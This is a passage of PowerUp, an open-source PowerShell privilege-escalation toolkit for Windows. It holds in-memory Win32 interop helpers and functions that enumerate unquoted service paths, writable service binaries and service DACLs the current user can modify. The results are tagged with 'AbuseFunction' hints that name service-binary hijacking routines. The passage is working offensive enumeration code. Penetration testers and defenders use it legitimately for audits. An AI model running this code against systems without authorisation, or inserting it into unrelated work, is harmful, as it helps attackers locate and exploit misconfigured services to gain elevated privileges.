'W' Win32 function, you can specify the character set. .PARAMETER SetLastError Indicates whether the callee calls the SetLastError Win32 API function before returning from the attributed method. .PARAMETER Module The in-memory module that will host the functions. Use New-InMemoryModule to define an in-memory module. .PARAMETER Namespace An optional namespace to prepend to the type. Add-Win32Type defaults to a namespace consisting only of the name of the DLL. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $FunctionDefinitions = @( (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Kernel32 = $Types['kernel32'] $Ntdll = $Types['ntdll'] $Ntdll::RtlGetCurrentPeb() $ntdllbase = $Kernel32::GetModuleHandle('ntdll') $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') .NOTES Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 When defining multiple function prototypes, it is ideal to provide Add-Win32Type with an array of function signatures. That way, they are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] Param( [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $EntryPoint, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [ValidateNotNull()] [String] $Namespace = '' ) BEGIN { $TypeHash = @{} } PROCESS { if ($Module -is [Reflection.Assembly]) { if ($Namespace) { $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") } else { $TypeHash[$DllName] = $Module.GetType($DllName) } } else { # Define one type for each DLL if (!$TypeHash.ContainsKey($DllName)) { if ($Namespace) { $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') } else { $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') } } $Method = $TypeHash[$DllName].DefineMethod( $FunctionName, 'Public,Static,PinvokeImpl', $ReturnType, $ParameterTypes) # Make each ByRef parameter an Out parameter $i = 1 foreach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { [void] $Method.DefineParameter($i, 'Out', $null) } $i++ } $DllImport = [Runtime.InteropServices.DllImportAttribute] $SetLastErrorField = $DllImport.GetField('SetLastError') $CallingConventionField = $DllImport.GetField('CallingConvention') $CharsetField = $DllImport.GetField('CharSet') $EntryPointField = $DllImport.GetField('EntryPoint') if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } # Equivalent to C# version of [DllImport(DllName)] $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField, $EntryPointField), [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset), $ExportedFuncName)) $Method.SetCustomAttribute($DllImportAttribute) } } END { if ($Module -is [Reflection.Assembly]) { return $TypeHash } $ReturnTypes = @{} foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() $ReturnTypes[$Key] = $Type } return $ReturnTypes } } function psenum { <# .SYNOPSIS Creates an in-memory enumeration for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION The 'psenum' function facilitates the creation of enums entirely in memory using as close to a "C style" as PowerShell will allow. .PARAMETER Module The in-memory module that will host the enum. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the enum. .PARAMETER Type The type of each enum element. .PARAMETER EnumElements A hashtable of enum elements. .PARAMETER Bitfield Specifies that the enum should be treated as a bitfield. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ UNKNOWN = 0 NATIVE = 1 # Image doesn't require a subsystem. WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. OS2_CUI = 5 # Image runs in the OS/2 character subsystem. POSIX_CUI = 7 # Image runs in the Posix character subsystem. NATIVE_WINDOWS = 8 # Image is a native Win9x driver. WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. EFI_APPLICATION = 10 EFI_BOOT_SERVICE_DRIVER = 11 EFI_RUNTIME_DRIVER = 12 EFI_ROM = 13 XBOX = 14 WINDOWS_BOOT_APPLICATION = 16 } .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Enum. :P #> [OutputType([Type])] Param ( [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, [Switch] $Bitfield ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } $EnumType = $Type -as [Type] $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) if ($Bitfield) { $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } foreach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() } # A helper function used to reduce typing while defining struct # fields. function field { Param ( [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, [Parameter(Position = 2)] [UInt16] $Offset, [Object[]] $MarshalAs ) @{ Position = $Position Type = $Type -as [Type] Offset = $Offset MarshalAs = $MarshalAs } } function struct { <# .SYNOPSIS Creates an in-memory struct for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: field .DESCRIPTION The 'struct' function facilitates the creation of structs entirely in memory using as close to a "C style" as PowerShell will allow. Struct fields are specified using a hashtable where each field of the struct is comprosed of the order in which it should be defined, its .NET type, and optionally, its offset and special marshaling attributes. One of the features of 'struct' is that after your struct is defined, it will come with a built-in GetSize method as well as an explicit converter so that you can easily cast an IntPtr to the struct without relying upon calling SizeOf and/or PtrToStructure in the Marshal class. .PARAMETER Module The in-memory module that will host the struct. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the struct. .PARAMETER StructFields A hashtable of fields. Use the 'field' helper function to ease defining each field. .PARAMETER PackingSize Specifies the memory alignment of fields. .PARAMETER ExplicitLayout Indicates that an explicit offset for each field will be specified. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ DOS_SIGNATURE = 0x5A4D OS2_SIGNATURE = 0x454E OS2_SIGNATURE_LE = 0x454C VXD_SIGNATURE = 0x454C } $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ e_magic = field 0 $ImageDosSignature e_cblp = field 1 UInt16 e_cp = field 2 UInt16 e_crlc = field 3 UInt16 e_cparhdr = field 4 UInt16 e_minalloc = field 5 UInt16 e_maxalloc = field 6 UInt16 e_ss = field 7 UInt16 e_sp = field 8 UInt16 e_csum = field 9 UInt16 e_ip = field 10 UInt16 e_cs = field 11 UInt16 e_lfarlc = field 12 UInt16 e_ovno = field 13 UInt16 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) e_oemid = field 15 UInt16 e_oeminfo = field 16 UInt16 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) e_lfanew = field 18 Int32 } # Example of using an explicit layout in order to create a union. $TestUnion = struct $Mod TestUnion @{ field1 = field 0 UInt32 0 field2 = field 1 IntPtr 0 } -ExplicitLayout .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Struct. :P #> [OutputType([Type])] Param ( [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, [Reflection.Emit.PackingSize] $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, [Switch] $ExplicitLayout ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, Class, Public, Sealed, BeforeFieldInit' if ($ExplicitLayout) { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout } else { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout } $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $Fields = New-Object Hashtable[]($StructFields.Count) # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. foreach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } foreach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] $Offset = $FieldProp['Offset'] $Type = $FieldProp['Type'] $MarshalAs = $FieldProp['MarshalAs'] $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') if ($MarshalAs) { $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) if ($MarshalAs[1]) { $Size = $MarshalAs[1] $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $UnmanagedType, $SizeConst, @($Size)) } else { $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) } $NewField.SetCustomAttribute($AttribBuilder) } if ($ExplicitLayout) { $NewField.SetOffset($Offset) } } # Make the struct aware of its own size. # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! $SizeMethod = $StructBuilder.DefineMethod('GetSize', 'Public, Static', [Int], [Type[]] @()) $ILGenerator = $SizeMethod.GetILGenerator() # Thanks for the help, Jason Shirk! $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) # Allow for explicit casting from an IntPtr # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 'PrivateScope, Public, Static, HideBySig, SpecialName', $StructBuilder, [Type[]] @([IntPtr])) $ILGenerator2 = $ImplicitConverter.GetILGenerator() $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) $StructBuilder.CreateType() } ######################################################## # # PowerUp Helpers # ######################################################## function Get-ModifiablePath { <# .SYNOPSIS Parses a passed string containing multiple possible file/folder paths and returns the file paths where the current user has modification rights. Author: @harmj0y License: BSD 3-Clause .DESCRIPTION Takes a complex path specification of an initial file/folder path with possible configuration files, 'tokenizes' the string in a number of possible ways, and enumerates the ACLs for each path that currently exists on the system. Any path that the current user has modification rights on is returned in a custom object that contains the modifiable path, associated permission set, and the IdentityReference with the specified rights. The SID of the current user and any group he/she are a part of are used as the comparison set against the parsed path DACLs. .PARAMETER Path The string path to parse for modifiable files. Required .PARAMETER LiteralPaths Switch. Treat all paths as literal (i.e. don't do 'tokenization'). .EXAMPLE PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath Path Permissions IdentityReference ---- ----------- ----------------- C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... .EXAMPLE PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath Path Permissions IdentityReference ---- ----------- ----------------- C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... ... #> [CmdletBinding()] Param( [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('FullName')] [String[]] $Path, [Switch] $LiteralPaths ) BEGIN { # # false positives ? # $Excludes = @("MsMpEng.exe", "NisSrv.exe") # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights $AccessMask = @{ [uint32]'0x80000000' = 'GenericRead' [uint32]'0x40000000' = 'GenericWrite' [uint32]'0x20000000' = 'GenericExecute' [uint32]'0x10000000' = 'GenericAll' [uint32]'0x02000000' = 'MaximumAllowed' [uint32]'0x01000000' = 'AccessSystemSecurity' [uint32]'0x00100000' = 'Synchronize' [uint32]'0x00080000' = 'WriteOwner' [uint32]'0x00040000' = 'WriteDAC' [uint32]'0x00020000' = 'ReadControl' [uint32]'0x00010000' = 'Delete' [uint32]'0x00000100' = 'WriteAttributes' [uint32]'0x00000080' = 'ReadAttributes' [uint32]'0x00000040' = 'DeleteChild' [uint32]'0x00000020' = 'Execute/Traverse' [uint32]'0x00000010' = 'WriteExtendedAttributes' [uint32]'0x00000008' = 'ReadExtendedAttributes' [uint32]'0x00000004' = 'AppendData/AddSubdirectory' [uint32]'0x00000002' = 'WriteData/AddFile' [uint32]'0x00000001' = 'ReadData/ListDirectory' } $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value $CurrentUserSids += $UserIdentity.User.Value $TranslatedIdentityReferences = @{} } PROCESS { ForEach($TargetPath in $Path) { $CandidatePaths = @() # possible separator character combinations $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") if($PSBoundParameters['LiteralPaths']) { $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path } else { # if the path doesn't exist, check if the parent folder allows for modification try { $ParentPath = Split-Path $TempPath -Parent if($ParentPath -and (Test-Path -Path $ParentPath)) { $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } } catch { # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely } } } else { ForEach($SeparationCharacterSet in $SeparationCharacterSets) { $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { if(($SeparationCharacterSet -notmatch ' ')) { $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim() if($TempPath -and ($TempPath -ne '')) { if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { # if the path exists, resolve it and add it to the candidate list $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path } else { # if the path doesn't exist, check if the parent folder allows for modification try { $ParentPath = (Split-Path -Path $TempPath -Parent).Trim() if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) { $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path } } catch { # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely } } } } else { # if the separator contains a space $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)} } } } } $CandidatePaths | Sort-Object -Unique | ForEach-Object { $CandidatePath = $_ Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object { $FileSystemRights = $_.FileSystemRights.value__ $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } # the set of permission types that allow for modification $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent if($Comparison) { if ($_.IdentityReference -notmatch '^S-1-5.*') { if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) { # translate the IdentityReference if it's a username and not a SID $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference) $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value } $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference] } else { $IdentitySID = $_.IdentityReference } if($CurrentUserSids -contains $IdentitySID) { New-Object -TypeName PSObject -Property @{ ModifiablePath = $CandidatePath IdentityReference = $_.IdentityReference Permissions = $Permissions } } } } } } } } function Get-CurrentUserTokenGroupSid { <# .SYNOPSIS Returns all SIDs that the current user is a part of, whether they are disabled or not. Author: @harmj0y License: BSD 3-Clause .DESCRIPTION First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds this to OpenProcessToken() to open up a handle to the current process token. The API call GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process token. Each group is iterated through and the SID structure is converted to a readable string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of (disabled or not) is returned as a string array. .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx #> [CmdletBinding()] Param() $CurrentProcess = $Kernel32::GetCurrentProcess() $TOKEN_QUERY= 0x0008 # open up a pseudo handle to the current process- don't need to worry about closing [IntPtr]$hProcToken = [IntPtr]::Zero $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success) { $TokenGroupsPtrSize = 0 # Initial query to determine the necessary buffer size $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success) { $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { # convert each token group SID to a displayable string $SidString = '' $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result -eq 0) { Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $GroupSid = New-Object PSObject $GroupSid | Add-Member Noteproperty 'SID' $SidString # cast the atttributes field as our SidAttributes enum $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) $GroupSid } } } else { Write-Warning ([ComponentModel.Win32Exception] $LastError) } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) } else { Write-Warning ([ComponentModel.Win32Exception] $LastError) } } function Test-ServiceDaclPermission { <# .SYNOPSIS Tests one or more passed services or service names against a given permission set, returning the service objects where the current user have the specified permissions. Author: @harmj0y, Matthew Graeber (@mattifestation) License: BSD 3-Clause .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current user are enumerated services where the user has some type of permission are filtered. The services are then filtered against a specified set of permissions, and services where the current user have the specified permissions are returned. .PARAMETER Name An array of one or more service names to test against the specified permission set. .PARAMETER Permissions A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' .PARAMETER PermissionSet A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. .OUTPUTS ServiceProcess.ServiceController .EXAMPLE PS C:\> Get-Service | Test-ServiceDaclPermission Return all service objects where the current user can modify the service configuration. .EXAMPLE PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' Return all service objects that the current user can restart. .EXAMPLE PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' Return the VulnSVC object if the current user has start permissions. .LINK https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> [OutputType('ServiceProcess.ServiceController')] param ( [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name, [String[]] [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')] $Permissions, [String] [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')] $PermissionSet = 'ChangeConfig' ) BEGIN { $AccessMask = @{ 'QueryConfig' = [uint32]'0x00000001' 'ChangeConfig' = [uint32]'0x00000002' 'QueryStatus' = [uint32]'0x00000004' 'EnumerateDependents' = [uint32]'0x00000008' 'Start' = [uint32]'0x00000010' 'Stop' = [uint32]'0x00000020' 'PauseContinue' = [uint32]'0x00000040' 'Interrogate' = [uint32]'0x00000080' 'UserDefinedControl' = [uint32]'0x00000100' 'Delete' = [uint32]'0x00010000' 'ReadControl' = [uint32]'0x00020000' 'WriteDac' = [uint32]'0x00040000' 'WriteOwner' = [uint32]'0x00080000' 'Synchronize' = [uint32]'0x00100000' 'AccessSystemSecurity' = [uint32]'0x01000000' 'GenericAll' = [uint32]'0x10000000' 'GenericExecute' = [uint32]'0x20000000' 'GenericWrite' = [uint32]'0x40000000' 'GenericRead' = [uint32]'0x80000000' 'AllAccess' = [uint32]'0x000F01FF' } $CheckAllPermissionsInSet = $False if($PSBoundParameters['Permissions']) { $TargetPermissions = $Permissions } else { if($PermissionSet -eq 'ChangeConfig') { $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') } elseif($PermissionSet -eq 'Restart') { $TargetPermissions = @('Start', 'Stop') $CheckAllPermissionsInSet = $True # so we check all permissions && style } elseif($PermissionSet -eq 'AllAccess') { $TargetPermissions = @('GenericAll', 'AllAccess') } } } PROCESS { ForEach($IndividualService in $Name) { $TargetService = $IndividualService | Add-ServiceDacl if($TargetService -and $TargetService.Dacl) { # enumerate all group SIDs the current user is a part of $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value $CurrentUserSids += $UserIdentity.User.Value ForEach($ServiceDacl in $TargetService.Dacl) { if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { if($CheckAllPermissionsInSet) { $AllMatched = $True ForEach($TargetPermission in $TargetPermissions) { # check permissions && style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" $AllMatched = $False break } } if($AllMatched) { $TargetService } } else { ForEach($TargetPermission in $TargetPermissions) { # check permissions || style if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { Write-Verbose "Current user has '$TargetPermission' for $IndividualService" $TargetService break } } } } } } else { Write-Verbose "Error enumerating the Dacl for service $IndividualService" } } } } ######################################################## # # Service enumeration # ######################################################## function Get-ServiceUnquoted { <# .SYNOPSIS Returns the name and binary path for services with unquoted paths that also have a space in the name. .EXAMPLE PS C:\> $services = Get-ServiceUnquoted Get a set of potentially exploitable services. .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> [CmdletBinding()] param() # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} if ($VulnServices) { ForEach ($Service in $VulnServices) { $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name if($ServiceRestart) { $CanRestart = $True } else { $CanRestart = $False } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } } } function Get-ModifiableServiceFile { <# .SYNOPSIS Enumerates all services and returns vulnerable service files. .DESCRIPTION Enumerates all services by querying the WMI win32_service class. For each service, it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine if the current user has rights to modify the service binary itself or any associated arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. .EXAMPLE PS C:\> Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. #> [CmdletBinding()] param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { $ServiceName = $_.name $ServicePath = $_.pathname $ServiceStartName = $_.startname $ServicePath | Get-ModifiablePath | ForEach-Object { $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName if($ServiceRestart) { $CanRestart = $True } else { $CanRestart = $False } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $($_.Permissions -join ", ") $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } } function Get-ModifiableService { <# .SYNOPSIS Enumerates all services and returns services for which the current user can modify the binPath. 